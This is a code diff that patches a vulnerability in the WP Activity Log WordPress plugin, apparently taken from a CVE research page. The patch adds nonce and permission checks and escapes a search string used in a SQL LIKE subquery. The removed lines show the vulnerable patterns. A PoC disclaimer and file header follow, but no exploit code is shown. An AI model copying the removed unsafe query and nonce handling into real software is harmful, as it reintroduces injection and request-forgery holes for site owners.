+					$btns = '<a class="more-info button button-secondary data-event-inspector-link" data-darktooltip="' . $tooltip . '" data-inspector-active-text="' . esc_attr__( 'Close inspector.', 'wp-security-audit-log' ) . '" title="' . esc_attr__( 'Event data inspector', 'wp-security-audit-log' ) . '" href="' . esc_url( $url ) . '">' . esc_html__( 'More details...', 'wp-security-audit-log' ) . '</a>';
+
+
+					// @free:start
+					$btns .= ' ' . WSAL_Views_AuditLog::render_free_add_note_trigger( $item );
+					// @free:end

 					return $btns;

@@ -1173,7 +1185,7 @@
 			global $wpdb;

 			// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Read-only display parameter, sanitized before use.
-			$search_string = ( isset( $_GET['s'] ) ? esc_sql( sanitize_text_field( wp_unslash( $_GET['s'] ) ) ) : '' );
+			$search_string = sanitize_text_field( wp_unslash( $_GET['s'] ?? '' ) );

 			if ( '' !== $search_string ) {
 				// @free:start
@@ -1184,8 +1196,11 @@
 				// @free:end
 				unset( $column_names['created_on'] );
 				unset( $column_names['site_id'] );
+
+				$search = array();
+
 				foreach ( array_keys( $column_names ) as $value ) {
-					$search[] = array( $value . ' LIKE %s' => '%' . esc_sql( $wpdb->esc_like( $search_string ) ) . '%' );
+					$search[] = array( $value . ' LIKE %s' => '%' . $wpdb->esc_like( $search_string ) . '%' );
 				}

 				$query['OR'] = $search;
@@ -1195,8 +1210,8 @@
 					$this->table::get_table_name( self::$wsal_db ) . '.id IN (
 					SELECT DISTINCT occurrence_id
 						FROM ' . Metadata_Entity::get_table_name( self::$wsal_db ) . '
-						WHERE TRIM(BOTH """ FROM value) LIKE %s
-					)' => '%' . $search_string . '%',
+						WHERE value LIKE %s
+					)' => '%' . $wpdb->esc_like( $search_string ) . '%',
 				);
 				// @free:end
 			}
--- a/wp-security-audit-log/classes/Migration/class-abstract-migration.php
+++ b/wp-security-audit-log/classes/Migration/class-abstract-migration.php
@@ -60,6 +60,13 @@
 		public const UPGRADE_NOTICE = 'upgrade-notice-show';

 		/**
+		 * That is a global constant used for showing the feature highlight notice after an upgrade (free edition only).
+		 *
+		 * @since 5.6.5
+		 */
+		public const FEATURE_HIGHLIGHT_NOTICE = 'feature-highlight-notice-show';
+
+		/**
 		 * Extracted version from the DB (WP option)
 		 *
 		 * @var string
@@ -274,6 +281,10 @@
 				if ( '0.0.0' !== (string) static::$stored_version ) {
 					WP_Helper::set_global_option( self::UPGRADE_NOTICE, true );

+					// @free:start
+					WP_Helper::set_global_option( self::FEATURE_HIGHLIGHT_NOTICE, true );
+					// @free:end
+
 					/**
 					 * Reset survey dismiss so the banner reappears after each upgrade.
 					 */
--- a/wp-security-audit-log/classes/Migration/class-metadata-migration-440.php
+++ b/wp-security-audit-log/classes/Migration/class-metadata-migration-440.php
@@ -110,7 +110,7 @@
 						<strong><?php esc_html_e( 'Activity log database update in progress.', 'wp-security-audit-log' ); ?></strong>
 						<br />
 						<?php
-						echo __( '<strong>UPGRADE notice: </strong> WP Activity Log is updating the database tables where the activity log is stored. The duration of this process varies depending on the size of the activity log. The upgrade is running in the background and won't affect your website. For more information please refer to this <a href="https://melapress.com/support/kb/upgrade-database-process-442/" target="_blank">knowledge base entry</a>.', 'wp-security-audit-log' ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
+						echo __( '<strong>UPGRADE notice: </strong> WP Activity Log is updating the database tables where the activity log is stored. The duration of this process varies depending on the size of the activity log. The upgrade is running in the background and won't affect your website. For more information please refer to this <a href="https://melapress.com/support/kb/upgrade-database-process-442/?utm_source=plugin&utm_medium=wsal&utm_campaign=db-upgrade-notice-kb" target="_blank">knowledge base entry</a>.', 'wp-security-audit-log' ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
 						?>
 					</p>
 				</div>
--- a/wp-security-audit-log/classes/Views/AuditLog.php
+++ b/wp-security-audit-log/classes/Views/AuditLog.php
@@ -78,11 +78,14 @@
 		add_action( 'wp_ajax_wsal_dismiss_helper_plugin_needed_nudge', array( $this, 'dismiss_helper_plugin_needed_nudge' ) );
 		add_action( 'wp_ajax_wsal_dismiss_wp_pointer', array( __CLASS__, 'dismiss_wp_pointer' ) );

+
 		// @free:start
 		add_action( 'wsal_inspector_after_meta', array( __CLASS__, 'render_free_inspector_additional_links' ), 10, 1 );
+		add_action( 'admin_enqueue_scripts', array( __CLASS__, 'enqueue_free_add_note_assets' ) );
+		add_action( 'admin_footer', array( __CLASS__, 'render_free_add_note_modal' ) );
 		// @free:end

-		add_action( 'all_admin_notices', array( 'WSALHelpersNotices', 'init' ) );
+		add_action( 'all_admin_notices', array( 'WSALHelpersNotices', 'init' ), PHP_INT_MAX );

 		add_action( 'all_admin_notices', array( $this, 'admin_notices' ) );
 		add_action( 'admin_enqueue_scripts', array( __CLASS__, 'load_pointers' ), 1000 );
@@ -163,24 +166,37 @@
 		return 1;
 	}

+	/**
+	 * Collects the audit log view arguments (page, site id, order and search parameters) from the request.
+	 *
+	 * @return array $page_args - The audit log view arguments.
+	 *
+	 * @since 4.6.3
+	 */
 	public static function get_page_arguments(): array {
 		if ( null === self::$page_args ) {

 			self::$page_args = array();

-			self::$page_args['page']    = isset( $_REQUEST['page'] ) ? sanitize_text_field( wp_unslash( $_REQUEST['page'] ) ) : false;
+			/**
+			 * Nonce verification is not needed here: these are read-only list table arguments, also
+			 * carried by sorting and pagination links which never include a nonce. Requests that
+			 * submit form data are nonce-verified in render() and handle_form_submission().
+			 */
+			// phpcs:disable WordPress.Security.NonceVerification.Recommended
+			self::$page_args['page']    = isset( $_GET['page'] ) ? sanitize_text_field( wp_unslash( $_GET['page'] ) ) : false;
 			self::$page_args['site_id'] = WP_Helper::get_view_site_id();

 			self::$page_args['site_id'] = apply_filters( 'wsal_main_view_site_id', self::$page_args['site_id'] );

 			// Order arguments.
-			self::$page_args['order_by'] = isset( $_REQUEST['orderby'] ) ? sanitize_text_field( wp_unslash( $_REQUEST['orderby'] ) ) : false;
-			self::$page_args['order']    = isset( $_REQUEST['order'] ) ? sanitize_text_field( wp_unslash( $_REQUEST['order'] ) ) : false;
+			self::$page_args['order_by'] = isset( $_GET['orderby'] ) ? sanitize_text_field( wp_unslash( $_GET['orderby'] ) ) : false;
+			self::$page_args['order']    = isset( $_GET['order'] ) ? sanitize_text_field( wp_unslash( $_GET['order'] ) ) : false;

 			// Search arguments.
-			self::$page_args['search_term']    = ( isset( $_REQUEST['s'] ) && ! empty( $_REQUEST['s'] ) ) ? trim( sanitize_text_field( wp_unslash( $_REQUEST['s'] ) ) ) : false;
-			self::$page_args['search_filters'] = ( isset( $_REQUEST['filters'] ) && is_array( $_REQUEST['filters'] ) ) ? array_map( 'sanitize_text_field', wp_unslash( $_REQUEST['filters'] ) ) : false;
-
+			self::$page_args['search_term']    = ! empty( $_GET['s'] ) ? trim( sanitize_text_field( wp_unslash( $_GET['s'] ) ) ) : false;
+			self::$page_args['search_filters'] = ( isset( $_GET['filters'] ) && is_array( $_GET['filters'] ) ) ? array_map( 'sanitize_text_field', wp_unslash( $_GET['filters'] ) ) : false;
+			// phpcs:enable WordPress.Security.NonceVerification.Recommended
 		}

 		return self::$page_args;
@@ -231,9 +247,14 @@
 			return; // Return if the current page is not auditlog's.
 		}

-		// Verify nonce for security.
-		if ( isset( $_GET['_wpnonce'] ) ) {
-			check_admin_referer( 'bulk-logs' );
+		/**
+		 * Nonce verification cannot be unconditional here: plain page views and
+		 * read-only audit log filters may come from admin links that carry no nonce.
+		 * Requests that can save search data or trigger referer cleanup originate
+		 * from the list table form, which always prints the 'bulk-logs' nonce.
+		 */
+		if ( isset( $_GET['_wpnonce'] ) || ! empty( $_GET['_wp_http_referer'] ) || ! empty( $_GET['wsal-save-search-name'] ) ) {
+			check_admin_referer( 'bulk-logs' );
 		}

 		// Search.
@@ -242,7 +263,7 @@
 		// Site id.
 		$site_id = isset( $_GET['wsal-cbid'] ) ? (int) sanitize_text_field( wp_unslash( $_GET['wsal-cbid'] ) ) : false;

-		$search_save = ( isset( $_REQUEST['wsal-save-search-name'] ) && ! empty( $_REQUEST['wsal-save-search-name'] ) ) ? trim( sanitize_text_field( wp_unslash( $_REQUEST['wsal-save-search-name'] ) ) ) : false;
+		$search_save = ! empty( $_GET['wsal-save-search-name'] ) ? trim( sanitize_text_field( wp_unslash( $_GET['wsal-save-search-name'] ) ) ) : false;

 		if ( ! empty( $_GET['_wp_http_referer'] ) ) {
 			// Remove args array.
@@ -280,9 +301,14 @@
 			wp_die( esc_html__( 'You do not have sufficient permissions to access this page.', 'wp-security-audit-log' ) );
 		}

-		// Verify nonce for security.
-		if ( isset( $_GET['_wpnonce'] ) ) {
-			check_admin_referer( 'bulk-logs' );
+		/**
+		 * Nonce verification cannot be unconditional here: plain page views and
+		 * read-only audit log filters may come from admin links that carry no nonce.
+		 * Requests that can save search data or trigger referer cleanup originate
+		 * from the list table form, which always prints the 'bulk-logs' nonce.
+		 */
+		if ( isset( $_GET['_wpnonce'] ) || ! empty( $_GET['_wp_http_referer'] ) || ! empty( $_GET['wsal-save-search-name'] ) ) {
+			check_admin_referer( 'bulk-logs' );
 		}

 		$this->get_view()->prepare_items();
@@ -384,17 +410,19 @@
 			die( 'Access Denied.' );
 		}

-		// Filter $_GET array for security.
-		$get_array = filter_input_array( INPUT_GET );
+		// Verify nonce.
+		check_ajax_referer( 'wsal_auditlog_viewer_nonce', 'nonce' );
+
+		$occurrence_id = (int) wp_unslash( $_GET['occurrence'] ?? 0 );

-		if ( ! isset( $get_array['occurrence'] ) ) {
+		if ( empty( $occurrence_id ) ) {
 			die( 'Occurrence parameter expected.' );
 		}

 		$wsal_db = Connection::get_connection();


-		$alert_meta = Occurrences_Entity::get_meta_array( (int) $get_array['occurrence'], array(), $wsal_db );
+		$alert_meta = Occurrences_Entity::get_meta_array( $occurrence_id, array(), $wsal_db );

 		unset( $alert_meta['ReportText'] );

@@ -412,7 +440,7 @@
 			}
 		}

-		$occurrence         = (array) Occurrences_Entity::load( 'id = %d', array( (int) $get_array['occurrence'] ), $wsal_db );
+		$occurrence         = (array) Occurrences_Entity::load( 'id = %d', array( $occurrence_id ), $wsal_db );
 		$inspected_alert_id = (int) ( $occurrence['alert_id'] ?? 0 );

 		do_action( 'wsal_inspector_after_meta', $inspected_alert_id );
@@ -432,27 +460,112 @@
 	 * @since 5.6.4
 	 */
 	public static function render_free_inspector_additional_links( int $inspected_alert_id ): void {
-		$notes_link_events   = array( 5000, 5001, 5002, 4007, 2051, 2046 );
 		$reports_link_events = array( 2000, 2001, 2100, 4000 );
-		$link_label          = '';
-		$link_title          = '';
-		$show_lock_icon      = false;
+
+		if ( ! in_array( $inspected_alert_id, $reports_link_events, true ) ) {
+			return;
+		}

 		$inspector_link_url = 'https://melapress.com/wordpress-activity-log/pricing/?utm_source=plugin&utm_medium=wsal&utm_campaign=inspector-cta-' . $inspected_alert_id;
+		$link_label         = __( 'Get scheduled reports for content and publishing activity with Premium', 'wp-security-audit-log' );

-		if ( in_array( $inspected_alert_id, $notes_link_events, true ) ) {
-			$link_label = __( 'Add note', 'wp-security-audit-log' );
-			$link_title = __( 'Add notes to activity log entries with Premium', 'wp-security-audit-log' );
+		echo '<div class="wsal-inspector-cta"><a href="' . esc_url( $inspector_link_url ) . '" target="_blank" rel="noopener noreferrer">' . esc_html( $link_label ) . '</a></div>';
+	}

-			$show_lock_icon = true;
+	/**
+	 * Renders the "Add Note" special button for an event row in the free version.
+	 *
+	 * @param array $event_item - Array with the current row event values as used in List_Events::format_column_value().
+	 *
+	 * @return string $btn_markup - The HTML of the locked add note button, or an empty string for events without the button.
+	 *
+	 * @since 5.6.5
+	 */
+	public static function render_free_add_note_trigger( array $event_item ): string {
+		$notes_button_events = array( 5000, 5001, 5002, 4007, 2051, 2046, 6024, 6025 );

-		} elseif ( in_array( $inspected_alert_id, $reports_link_events, true ) ) {
-			$link_label = __( 'Get scheduled reports for content and publishing activity with Premium', 'wp-security-audit-log' );
-		} else {
+		if ( ! in_array( (int) ( $event_item['alert_id'] ?? 0 ), $notes_button_events, true ) ) {
+			return '';
+		}
+
+		$btn_markup = '<a class="wsal-free-add-note button button-secondary" href="#"><span class="wsal-custom-notifications-lock" aria-hidden="true"></span>' . esc_html__( 'Add Note', 'wp-security-audit-log' ) . '</a>';
+
+		return $btn_markup;
+	}
+
+	/**
+	 * Enqueues the assets needed by the add note modal in the free version.
+	 *
+	 * @return void
+	 *
+	 * @since 5.6.5
+	 */
+	public static function enqueue_free_add_note_assets() {
+		$screen = function_exists( 'get_current_screen' ) ? get_current_screen() : null;
+
+		if ( ! $screen || 0 !== strpos( $screen->id, 'toplevel_page_wsal-auditlog' ) ) {
+			return;
+		}
+
+		wp_enqueue_style( 'wp-jquery-ui-dialog' );
+		wp_enqueue_script( 'jquery-ui-dialog' );
+	}
+
+	/**
+	 * Renders the add note modal markup and inline script in the admin footer for the free version.
+	 *
+	 * @return void
+	 *
+	 * @since 5.6.5
+	 */
+	public static function render_free_add_note_modal() {
+		$screen = function_exists( 'get_current_screen' ) ? get_current_screen() : null;
+
+		if ( ! $screen || 0 !== strpos( $screen->id, 'toplevel_page_wsal-auditlog' ) ) {
 			return;
 		}
+		?>

-		echo '<div class="wsal-inspector-cta"><a href="' . esc_url( $inspector_link_url ) . '" target="_blank" rel="noopener noreferrer"' . ( '' !== $link_title ? ' title="' . esc_attr( $link_title ) . '"' : '' ) . '>' . esc_html( $link_label ) . ( $show_lock_icon ? ' <span class="wsal-custom-notifications-lock" aria-hidden="true"></span>' : '' ) . '</a></div>';
+		<div id="wsal-free-add-note-modal" style="display: none;" title="<?php echo esc_attr__( 'Add Notes to Activity Log Entries', 'wp-security-audit-log' ); ?>">
+			<p><?php esc_html_e( 'Keep important context alongside your activity log data by adding notes to individual log entries. Document investigations, explain changes, track follow-up actions, and collaborate more effectively with your team.', 'wp-security-audit-log' ); ?></p>
+			<p><strong><?php esc_html_e( 'Available in WP Activity Log Premium.', 'wp-security-audit-log' ); ?></strong></p>
+			<a class="wsal-free-add-note-upgrade" href="<?php echo 'https://melapress.com/wordpress-activity-log/pricing/?utm_source=plugin&utm_medium=wsal&utm_campaign=add-note-popup'; ?>" target="_blank" rel="noopener noreferrer"><?php esc_html_e( 'Upgrade to Premium', 'wp-security-audit-log' ); ?></a>
+		</div>
+		<script>
+			jQuery( ( $ ) => {
+				const freeAddNoteModal = $( '#wsal-free-add-note-modal' );
+
+				freeAddNoteModal.dialog( {
+					autoOpen: false,
+					draggable: false,
+					modal: true,
+					resizable: false,
+					width: 'auto',
+					closeOnEscape: true,
+					classes: {
+						'ui-dialog': 'wsal-free-add-note-dialog',
+					},
+					open: () => {
+						$( 'body' ).css( 'overflow', 'hidden' );
+					},
+					close: () => {
+						$( 'body' ).css( 'overflow', '' );
+					},
+				} );
+
+				$( document ).on( 'click', '.wsal-free-add-note', ( event ) => {
+					event.preventDefault();
+					freeAddNoteModal.dialog( 'open' );
+				} );
+
+				$( document ).on( 'click', '.ui-widget-overlay', () => {
+					if ( freeAddNoteModal.dialog( 'isOpen' ) ) {
+						freeAddNoteModal.dialog( 'close' );
+					}
+				} );
+			} );
+		</script>
+		<?php
 	}
 	// @free:end

@@ -464,17 +577,17 @@
 			die( 'Access Denied.' );
 		}

-		// Filter $_POST array for security.
-		$post_array = filter_input_array( INPUT_POST );
+		// Verify nonce.
+		check_ajax_referer( 'wsal_auditlog_viewer_nonce', 'nonce' );
+
+		$search = sanitize_text_field( wp_unslash( $_POST['search'] ?? '' ) );

-		if ( ! isset( $post_array['search'] ) ) {
+		if ( empty( $search ) ) {
 			die( 'Search parameter expected.' );
 		}
 		$grp1 = array();
 		$grp2 = array();

-		$search = $post_array['search'];
-
 		foreach ( WP_Helper::get_sites() as $site ) {
 			if ( stripos( $site->blogname, $search ) !== false ) {
 				$grp1[] = $site;
@@ -490,18 +603,12 @@
 	 * Ajax callback to download failed login log.
 	 */
 	public function wsal_download_failed_login_log() {
-		if ( ! isset( $_POST['download_nonce'] ) ) {
-			echo esc_html__( 'Nonce verification failed.', 'wp-security-audit-log' );
-			die();
+		if ( ! Settings_Helper::current_user_can( 'view' ) ) {
+			die( 'Access Denied.' );
 		}
-		// Get post array through filter.
-		$download_nonce = sanitize_text_field( wp_unslash( $_POST['download_nonce'] ) );

 		// Verify nonce.
-		if ( empty( $download_nonce ) || ! wp_verify_nonce( $download_nonce, 'wsal-download-failed-logins' ) ) {
-			echo esc_html__( 'Nonce verification failed.', 'wp-security-audit-log' );
-			die();
-		}
+		check_ajax_referer( 'wsal-download-failed-logins', 'download_nonce' );

 		// Get alert by id.
 		$alert_id = filter_input( INPUT_POST, 'alert_id', FILTER_SANITIZE_NUMBER_INT );
@@ -697,6 +804,7 @@
 		);

 		// Add pointer options to script.
+		$valid_pointers['nonce'] = wp_create_nonce( 'wsal_dismiss_wp_pointer' );
 		wp_localize_script( 'auditlog-pointer', 'wsalPointer', $valid_pointers );
 	}

@@ -735,6 +843,13 @@
 	 * @since 3.2.4
 	 */
 	public static function dismiss_wp_pointer() {
+		if ( ! Settings_Helper::current_user_can( 'view' ) ) {
+			wp_die( 0 );
+		}
+
+		// Verify nonce.
+		check_ajax_referer( 'wsal_dismiss_wp_pointer', 'nonce' );
+
 		if ( isset( $_POST['pointer'] ) ) {
 			$pointer = sanitize_text_field( wp_unslash( $_POST['pointer'] ) );

@@ -773,19 +888,8 @@
 			die();
 		}

-		// Filter $_POST array for security.
-		$nonce = isset( $_POST['nonce'] ) ? sanitize_text_field( wp_unslash( $_POST['nonce'] ) ) : false;
-
-		if ( empty( $nonce ) || ! wp_verify_nonce( $nonce, 'wsal_dismiss_setup_modal' ) ) {
-			// Nonce verification failed.
-			echo wp_json_encode(
-				array(
-					'success' => false,
-					'message' => esc_html__( 'Nonce verification failed.', 'wp-security-audit-log' ),
-				)
-			);
-			die();
-		}
+		// Verify nonce.
+		check_ajax_referer( 'wsal_dismiss_setup_modal', 'nonce' );

 		Settings_Helper::set_boolean_option_value( 'setup-modal-dismissed', true, true );
 		wp_send_json_success();
--- a/wp-security-audit-log/classes/Views/Help.php
+++ b/wp-security-audit-log/classes/Views/Help.php
@@ -281,7 +281,7 @@
 			printf(
 				/* translators: Link to our contact form */
 				esc_html__( 'Please refer to the Help tab for links and information on how to open a support ticket, or access the database. If you have any other queries, please use our %1$scontact form %2$s', 'wp-security-audit-log' ),
-				'<a style="text-decoration:underline" href="https://melapress.com/contact/?utm_source=plugin&utm_medium=link&utm_campaign=wsal" target="_blank">',
+				'<a style="text-decoration:underline" href="https://melapress.com/contact/?utm_source=plugin&utm_medium=wsal&utm_campaign=help-page-contact-form" target="_blank">',
 				'</a>'
 			);
 			echo '</p>';
--- a/wp-security-audit-log/classes/Views/Settings.php
+++ b/wp-security-audit-log/classes/Views/Settings.php
@@ -334,9 +334,12 @@
 	 * {@inheritDoc}
 	 */
 	public function render() {
-		// Verify nonce if a form is submitted.
-		if ( isset( $_POST['_wpnonce'] ) ) {
-			check_admin_referer( 'wsal-settings' );
+		$is_settings_save_request   = isset( $_POST['submit'] );
+		$is_settings_import_request = isset( $_POST['import'] );
+
+		// Verify nonce before processing any settings-changing form action.
+		if ( $is_settings_save_request || $is_settings_import_request ) {
+			check_admin_referer( 'wsal-settings' );
 		}

 		if ( ! Settings_Helper::current_user_can( 'edit' ) ) {
@@ -346,7 +349,7 @@
 		// Check to see if section parameter is set in the URL.
 		$section = isset( $_GET['section'] ) ? sanitize_text_field( wp_unslash( $_GET['section'] ) ) : false;

-		if ( isset( $_POST['submit'] ) ) {
+		if ( $is_settings_save_request ) {
 			try {
 				$this->save(); // Save settings.
 				if ( 'sms-provider' === $this->current_tab && $section && 'test' === $section ) :
@@ -369,7 +372,7 @@
 			}
 		}

-		if ( isset( $_POST['import'] ) ) {
+		if ( $is_settings_import_request ) {
 			call_user_func( $this->wsal_setting_tabs[ $this->current_tab ]['save'] );
 		}

@@ -595,7 +598,7 @@
 						// Get login page notification text.
 						$wsal_lpn_text = WSALHelpersSettings_Helper::get_option_value( 'login_page_notification_text', false );
 						if ( ! $wsal_lpn_text ) {
-							$wsal_lpn_text = __( 'For security and auditing purposes, a record of all of your logged-in actions and changes within the WordPress dashboard will be recorded in an activity log with the <a href="https://melapress.com/?utm_source=plugin&utm_medium=referral&utm_campaign=wsal&utm_content=settings+pages" target="_blank">WP Activity Log plugin</a>. The audit log also includes the IP address where you accessed this site from.', 'wp-security-audit-log' );
+							$wsal_lpn_text = __( 'For security and auditing purposes, a record of all of your logged-in actions and changes within the WordPress dashboard will be recorded in an activity log with the <a href="https://melapress.com/?utm_source=plugin&utm_medium=wsal&utm_campaign=login-page-notification" target="_blank">WP Activity Log plugin</a>. The audit log also includes the IP address where you accessed this site from.', 'wp-security-audit-log' );
 						}
 						// Allowed HTML tags for this setting.
 						$allowed_tags = array(
@@ -1023,7 +1026,7 @@
 		<p class="description">
 			<?php
 			esc_html_e( 'The plugin uses an efficient way to store the activity log data in the WordPress database, though the more data you keep the more disk space will be required. ', 'wp-security-audit-log' );
-			$retention_help_text = __( '<a href="https://melapress.com/wordpress-activity-log/pricing/?utm_source=plugin&utm_medium=link&utm_campaign=wsal" target="_blank">Upgrade to Premium</a> to store the activity log data in an external database.', 'wp-security-audit-log' );
+			$retention_help_text = __( '<a href="https://melapress.com/wordpress-activity-log/pricing/?utm_source=plugin&utm_medium=wsal&utm_campaign=settings-retention-upgrade" target="_blank">Upgrade to Premium</a> to store the activity log data in an external database.', 'wp-security-audit-log' );

 			// phpcs:disable
 			// phpcs:enable
@@ -1220,7 +1223,7 @@
 							<img src="<?php echo esc_html( trailingslashit( WSAL_BASE_URL ) . 'img/help/website-file-changes-monitor.jpg' ); ?>">
 							<h4><?php echo esc_html__( 'Melapress File Monitor', 'wp-security-audit-log' ); ?></h4>
 							<p><?php echo esc_html__( 'To keep a log of file changes please install Melapress File Monitor, a plugin which is also developed by us.', 'wp-security-audit-log' ); ?></p><br>
-							<p><button class="install-addon button button-primary" data-nonce="<?php echo esc_attr( wp_create_nonce( 'wsal-install-addon' ) ); ?>" data-plugin-slug="website-file-changes-monitor/website-file-changes-monitor.php" data-plugin-download-url="https://downloads.wordpress.org/plugin/website-file-changes-monitor.latest-stable.zip"><?php esc_html_e( 'Install plugin now', 'wp-security-audit-log' ); ?></button><span class="spinner" style="display: none; visibility: visible; float: none; margin: 0 0 0 8px;"></span> <a href="https://melapress.com/support/kb/wp-activity-log-wordpress-files-changes-warning-activity-logs/?utm_source=plugin&utm_medium=link&utm_campaign=wsal" rel="noopener noreferrer" target="_blank" style="margin-left: 15px;"><?php esc_html_e( 'Learn More', 'wp-security-audit-log' ); ?></a></p>
+							<p><button class="install-addon button button-primary" data-nonce="<?php echo esc_attr( wp_create_nonce( 'wsal-install-addon' ) ); ?>" data-plugin-slug="website-file-changes-monitor/website-file-changes-monitor.php" data-plugin-download-url="https://downloads.wordpress.org/plugin/website-file-changes-monitor.latest-stable.zip"><?php esc_html_e( 'Install plugin now', 'wp-security-audit-log' ); ?></button><span class="spinner" style="display: none; visibility: visible; float: none; margin: 0 0 0 8px;"></span> <a href="https://melapress.com/support/kb/wp-activity-log-wordpress-files-changes-warning-activity-logs/?utm_source=plugin&utm_medium=wsal&utm_campaign=settings-file-monitor-learn-more" rel="noopener noreferrer" target="_blank" style="margin-left: 15px;"><?php esc_html_e( 'Learn More', 'wp-security-audit-log' ); ?></a></p>
 						</div>
 					<?php else : ?>
 						<?php
@@ -1441,7 +1444,7 @@
 		?>
 		<p class="description">
 			<?php esc_html_e( 'These settings are for advanced users.', 'wp-security-audit-log' ); ?>
-			<?php echo sprintf( __( 'If you have any questions <a href="https://melapress.com/contact/?utm_source=plugin&utm_medium=referral&utm_source=plugin&utm_medium=link&utm_campaign=wsal" target="_blank">contact us</a>.', 'wp-security-audit-log' ), Plugin_Settings_Helper::get_allowed_html_tags() ); // phpcs:ignore ?>
+			<?php echo sprintf( __( 'If you have any questions <a href="https://melapress.com/contact/?utm_source=plugin&utm_medium=wsal&utm_campaign=settings-advanced-contact-us" target="_blank">contact us</a>.', 'wp-security-audit-log' ), Plugin_Settings_Helper::get_allowed_html_tags() ); // phpcs:ignore ?>
 		</p>

 		<h3><?php esc_html_e( 'Reset plugin settings to default', 'wp-security-audit-log' ); ?></h3>
--- a/wp-security-audit-log/classes/Views/ToggleAlerts.php
+++ b/wp-security-audit-log/classes/Views/ToggleAlerts.php
@@ -226,7 +226,7 @@
 							<?php endforeach; ?>
 						</select>
 						<p class="description">
-							<?php echo wp_kses( __( 'Use the Log level drop down menu above to use one of our preset log levels. Alternatively you can enable or disable any of the individual events from the below tabs. Refer to <a href="https://melapress.com/support/kb/wp-activity-log-list-event-ids/?utm_source=plugin&utm_medium=link&utm_campaign=wsal" target="_blank">the complete list of WordPress activity log event IDs</a> for reference on all the events the plugin can keep a log of.', 'wp-security-audit-log' ), Plugin_Settings_Helper::get_allowed_html_tags() ); ?>
+							<?php echo wp_kses( __( 'Use the Log level drop down menu above to use one of our preset log levels. Alternatively you can enable or disable any of the individual events from the below tabs. Refer to <a href="https://melapress.com/support/kb/wp-activity-log-list-event-ids/?utm_source=plugin&utm_medium=wsal&utm_campaign=toggle-events-event-ids-list" target="_blank">the complete list of WordPress activity log event IDs</a> for reference on all the events the plugin can keep a log of.', 'wp-security-audit-log' ), Plugin_Settings_Helper::get_allowed_html_tags() ); ?>
 						</p>
 					</fieldset>
 				</form>
--- a/wp-security-audit-log/classes/Views/addons/html-view.php
+++ b/wp-security-audit-log/classes/Views/addons/html-view.php
@@ -12,11 +12,12 @@

 $utm_params = array(
 	'utm_source'   => 'plugin',
-	'utm_medium'   => 'button',
-	'utm_campaign' => 'wsal',
+	'utm_medium'   => 'wsal',
+	'utm_campaign' => 'premium-page-more-info',
 );

-$buy_now_utm_params = $utm_params;
+$buy_now_utm_params                 = $utm_params;
+$buy_now_utm_params['utm_campaign'] = 'premium-page-buy-now';

 if ( property_exists( $this, 'hook_suffix' ) ) {
 	switch ( $this->hook_suffix ) {
@@ -51,10 +52,10 @@
 	'https://melapress.com/wordpress-activity-log/features/'
 );

-// Buy Now button link.
+// Buy Now button link. https://melapress.com/wordpress-activity-log/pricing/?utm_source=plugin&utm_medium=wsal&utm_campaign=premium-page-buy-now&utm_content=upgrade+now+reports .
 $buy_now        = add_query_arg(
 	$buy_now_utm_params,
-	'https://melapress.com/wordpress-activity-log/pricing/#utm_source=plugin&utm_medium=link&utm_campaign=wsal'
+	'https://melapress.com/wordpress-activity-log/pricing/'
 );
 $buy_now_target = ' target="_blank"';

--- a/wp-security-audit-log/classes/Views/class-setup-wizard.php
+++ b/wp-security-audit-log/classes/Views/class-setup-wizard.php
@@ -696,7 +696,7 @@
 				<em>
 					<?php
 					// Step help text.
-					$step_help = __( 'While the plugin efficiently stores data in your WordPress database, keeping more data will use more storage space. If you need to retain large amounts of activity log data, we recommend <a href="https://melapress.com/wordpress-activity-log/features/#utm_source=plugin&utm_medium=referral&utm_campaign=wsal&utm_content=wizard+configuration" rel="nofollow" target="_blank">upgrading to Premium</a> and using our database tools to store the activity log in an external database. You can also store the logs in third party services such as Loggly, AWS CloudWatch, Slack and other solutions', 'wp-security-audit-log' );
+					$step_help = __( 'While the plugin efficiently stores data in your WordPress database, keeping more data will use more storage space. If you need to retain large amounts of activity log data, we recommend <a href="https://melapress.com/wordpress-activity-log/features/?utm_source=plugin&utm_medium=wsal&utm_campaign=install-wizard-retention-upgrade" rel="nofollow" target="_blank">upgrading to Premium</a> and using our database tools to store the activity log in an external database. You can also store the logs in third party services such as Loggly, AWS CloudWatch, Slack and other solutions', 'wp-security-audit-log' );

 					echo wp_kses( $step_help, Plugin_Settings_Helper::get_allowed_html_tags() );
 					?>
--- a/wp-security-audit-log/classes/WPSensors/Helpers/class-redirection-helper.php
+++ b/wp-security-audit-log/classes/WPSensors/Helpers/class-redirection-helper.php
@@ -75,17 +75,11 @@
 		 */
 		public static function is_redirection_active() {
 			if ( null === self::$plugin_active ) {
-				// self::$plugin_active = WP_Helper::is_plugin_active( 'redirection/redirection.php' );
-
-				// if ( WP_Helper::is_multisite() ) {
-					// Check if the plugin is active on the main site.
 				if ( defined( 'REDIRECTION_DB_VERSION' ) ) {
-					// Plugin is enabled, run your code...
 					self::$plugin_active = true;
 				} else {
 					self::$plugin_active = false;
 				}
-				// }
 			}

 			return self::$plugin_active;
--- a/wp-security-audit-log/classes/WPSensors/class-redirection-sensor.php
+++ b/wp-security-audit-log/classes/WPSensors/class-redirection-sensor.php
@@ -140,12 +140,12 @@
 				 * - Attach to the update hook from the Redirection plugin
 				 * - Collect object (current) to compare against
 				 */
-				add_action(
+				add_filter(
 					'rest_dispatch_request',
 					function ( $first, $request, $route, $handler ) use ( &$self ) {

 						if ( ! is_array( $handler['callback'] ) ) {
-							return;
+							return $first;
 						}

 						// Redirection REST is called - collecting data - start.
@@ -175,7 +175,7 @@
 									$self::add_redirect_old_object( intval( $item, 10 ), Red_Item::get_by_id( $item ) );
 								}

-								add_action(
+								add_filter(
 									'rest_request_after_callbacks',

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC 
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
